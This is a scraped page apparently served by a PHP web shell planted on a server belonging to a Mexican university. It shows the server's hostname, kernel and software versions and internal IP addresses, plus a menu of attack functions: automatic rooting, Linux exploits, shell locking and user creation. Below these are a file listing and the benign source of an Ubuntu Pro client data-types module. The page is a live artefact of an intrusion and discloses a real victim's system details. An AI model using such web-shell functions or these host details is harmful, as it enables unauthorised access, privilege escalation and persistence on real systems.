Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
uaclient /
[ HOME SHELL ]
Name
Size
Permission
Action
api
[ DIR ]
drwxr-xr-x
cli
[ DIR ]
drwxr-xr-x
clouds
[ DIR ]
drwxr-xr-x
daemon
[ DIR ]
drwxr-xr-x
entitlements
[ DIR ]
drwxr-xr-x
files
[ DIR ]
drwxr-xr-x
http
[ DIR ]
drwxr-xr-x
messages
[ DIR ]
drwxr-xr-x
__pycache__
[ DIR ]
drwxr-xr-x
timer
[ DIR ]
drwxr-xr-x
actions.py
14.61
KB
-rw-r--r--
apt_news.py
8.39
KB
-rw-r--r--
apt.py
35.77
KB
-rw-r--r--
config.py
18.91
KB
-rw-r--r--
contract_data_types.py
9.89
KB
-rw-r--r--
contract.py
35.58
KB
-rw-r--r--
data_types.py
13.21
KB
-rw-r--r--
defaults.py
3.19
KB
-rw-r--r--
event_logger.py
8.06
KB
-rw-r--r--
exceptions.py
18.2
KB
-rw-r--r--
gpg.py
836
B
-rw-r--r--
__init__.py
0
B
-rw-r--r--
livepatch.py
12.85
KB
-rw-r--r--
lock.py
4.42
KB
-rw-r--r--
log.py
4.9
KB
-rw-r--r--
secret_manager.py
648
B
-rw-r--r--
security_status.py
26.16
KB
-rw-r--r--
snap.py
6.26
KB
-rw-r--r--
status.py
28.53
KB
-rw-r--r--
system.py
28.12
KB
-rw-r--r--
types.py
308
B
-rw-r--r--
update_contract_info.py
1.55
KB
-rw-r--r--
upgrade_lts_contract.py
3.54
KB
-rw-r--r--
util.py
15.45
KB
-rw-r--r--
version.py
2.63
KB
-rw-r--r--
yaml.py
840
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : contract_data_types.py
from typing import List, Optional from uaclient.data_types import ( BoolDataValue, DataObject, DatetimeDataValue, Field, IntDataValue, StringDataValue, data_list, ) class ActivityInfo(DataObject): fields = [ Field("activityID", StringDataValue, False), Field("activityToken", StringDataValue, False), Field("activityPingInterval", IntDataValue, False), Field("resources", data_list(StringDataValue), False), ] def __init__( self, activityID: Optional[str], activityToken: Optional[str], activityPingInterval: Optional[int], resources: Optional[List[str]], ): self.activityID = activityID self.activityPingInterval = activityPingInterval self.activityToken = activityToken self.resources = resources class AvailableResource(DataObject): fields = [ Field("available", BoolDataValue, False), Field("name", StringDataValue, False), Field("description", StringDataValue, False), Field("presentedAs", StringDataValue, False), ] def __init__( self, available: Optional[bool], name: Optional[str], description: Optional[str], presentedAs: Optional[str], ): self.available = available self.name = name self.description = description self.presentedAs = presentedAs class ExternalID(DataObject): fields = [ Field("origin", StringDataValue, False), Field("IDs", data_list(StringDataValue), False), ] def __init__(self, origin: Optional[str], IDs: Optional[List[str]]): self.origin = origin self.IDs = IDs class AccountInfo(DataObject): fields = [ Field("name", StringDataValue, False), Field("id", StringDataValue, False), Field("createdAt", DatetimeDataValue, False), Field("type", StringDataValue, False), Field("userRoleOnAccount", StringDataValue, False), Field("externalAccountIDs", data_list(ExternalID), False), ] def __init__( self, name: Optional[str], id: Optional[str], createdAt: Optional[str], type: Optional[str], userRoleOnAccount: Optional[str], externalAccountIDs: Optional[List[str]], ): self.name = name self.id = id self.createdAt = createdAt self.type = type self.userRoleOnAccount = userRoleOnAccount self.externalAccountIDs = externalAccountIDs class PlatformChecks(DataObject): fields = [ Field("cpu_vendor_ids", data_list(StringDataValue), False), ] def __init__( self, cpu_vendor_ids: Optional[List[str]], ): self.cpu_vendor_ids = cpu_vendor_ids class Affordances(DataObject): fields = [ Field("architectures", data_list(StringDataValue), False), Field("presentedAs", StringDataValue, False), Field("series", data_list(StringDataValue), False), Field("kernelFlavors", data_list(StringDataValue), False), Field("minKernelVersion", StringDataValue, False), Field("tier", StringDataValue, False), Field("supportLevel", StringDataValue, False), Field("platformChecks", PlatformChecks, False), ] def __init__( self, architectures: Optional[List[str]], presentedAs: Optional[str], series: List[Optional[str]], kernelFlavors: List[Optional[str]], minKernelVersion: Optional[str], tier: Optional[str], supportLevel: Optional[str], platformChecks: Optional[PlatformChecks], ): self.architectures = architectures self.presentedAs = presentedAs self.series = series self.kernelFlavors = kernelFlavors self.minKernelVersion = minKernelVersion self.tier = tier self.supportLevel = supportLevel self.platformChecks = platformChecks class Obligations(DataObject): fields = [ Field("enableByDefault", BoolDataValue, False), Field("additionalProperties", StringDataValue, False), ] def __init__( self, enableByDefault: Optional[bool], additionalProperties: Optional[str], ): self.enableByDefault = enableByDefault self.additionalProperties = additionalProperties class Directives(DataObject): fields = [ Field("additionalPackages", data_list(StringDataValue), False), Field("aptURL", StringDataValue, False), Field("suites", data_list(StringDataValue), False), Field("server", StringDataValue, False), Field("remoteServer", StringDataValue, False), Field("caCerts", StringDataValue, False), Field("snapChannel", StringDataValue, False), Field("pypiURL", StringDataValue, False), Field("url", StringDataValue, False), ] def __init__( self, additionalPackages: Optional[List[str]], aptURL: Optional[str], suites: Optional[List[str]], server: Optional[str], remoteServer: Optional[str], caCerts: Optional[str], snapChannel: Optional[str], pypiURL: Optional[str], url: Optional[str], ): self.additionalPackages = additionalPackages self.aptURL = aptURL self.suites = suites self.server = server self.remoteServer = remoteServer self.caCerts = caCerts self.snapChannel = snapChannel self.pypiURL = pypiURL self.url = url class OverrideSelector(DataObject): fields = [ Field("series", StringDataValue, False), Field("cloud", StringDataValue, False), Field("variant", StringDataValue, False), ] def __init__( self, series: Optional[str], cloud: Optional[str], variant: Optional[str], ): self.series = series self.cloud = cloud self.variant = variant class Override(DataObject): fields = [ Field("selector", OverrideSelector, False), Field("affordances", Affordances, False), Field("obligations", Obligations, False), Field("directives", Directives, False), ] def __init__( self, selector: Optional[OverrideSelector], affordances: Optional[Affordances], obligations: Optional[Obligations], directives: Optional[Directives], ): self.selector = selector self.affordances = affordances self.obligations = obligations self.directives = directives class Entitlement(DataObject): fields = [ Field("entitled", BoolDataValue, False), Field("type", StringDataValue, False), Field("affordances", Affordances, False), Field("obligations", Obligations, False), Field("directives", Directives, False), Field("overrides", data_list(Override), False), ] def __init__( self, entitled: Optional[bool], type: Optional[str], affordances: Optional[Affordances], obligations: Optional[Obligations], directives: Optional[Directives], overrides: Optional[List[Override]], ): self.entitled = entitled self.type = type self.affordances = affordances self.obligations = obligations self.directives = directives self.overrides = overrides class ContractInfo(DataObject): fields = [ Field("name", StringDataValue, False), Field("id", StringDataValue, False), Field("createdAt", DatetimeDataValue, False), Field("createdBy", StringDataValue, False), Field("resourceEntitlements", data_list(Entitlement), False), Field("specificResourceEntitlements", data_list(Entitlement), False), Field("effectiveFrom", DatetimeDataValue, False), Field("effectiveTo", DatetimeDataValue, False), Field("products", data_list(StringDataValue), False), Field("origin", StringDataValue, False), ] def __init__( self, name: Optional[str], id: Optional[str], createdAt: Optional[str], createdBy: Optional[str], resourceEntitlements: Optional[List[Entitlement]], specificResourceEntitlements: Optional[List[Entitlement]], effectiveFrom: Optional[str], effectiveTo: Optional[str], products: Optional[List[str]], origin: Optional[str], ): self.name = name self.id = id self.createdAt = createdAt self.createdBy = createdBy self.resourceEntitlements = resourceEntitlements self.specificResourceEntitlements = specificResourceEntitlements self.effectiveFrom = effectiveFrom self.effectiveTo = effectiveTo self.products = products self.origin = origin class MachineTokenInfo(DataObject): fields = [ Field("machineId", StringDataValue, False), Field("accountInfo", AccountInfo, False), Field("contractInfo", ContractInfo, False), Field("expires", DatetimeDataValue, False), ] def __init__( self, machineId: Optional[str], accountInfo: Optional[AccountInfo], contractInfo: Optional[ContractInfo], expires: Optional[str], ): self.machineId = machineId self.accountInfo = accountInfo self.contractInfo = contractInfo self.expires = expires class PublicMachineTokenData(DataObject): fields = [ Field("activityInfo", ActivityInfo, False), Field("machineTokenInfo", MachineTokenInfo, False), Field("availableResources", data_list(AvailableResource), False), ] def __init__( self, activityInfo: Optional[ActivityInfo], machineTokenInfo: Optional[MachineTokenInfo], availableResources: Optional[List[AvailableResource]], ): self.activityInfo = activityInfo self.availableResources = availableResources self.machineTokenInfo = machineTokenInfo
Close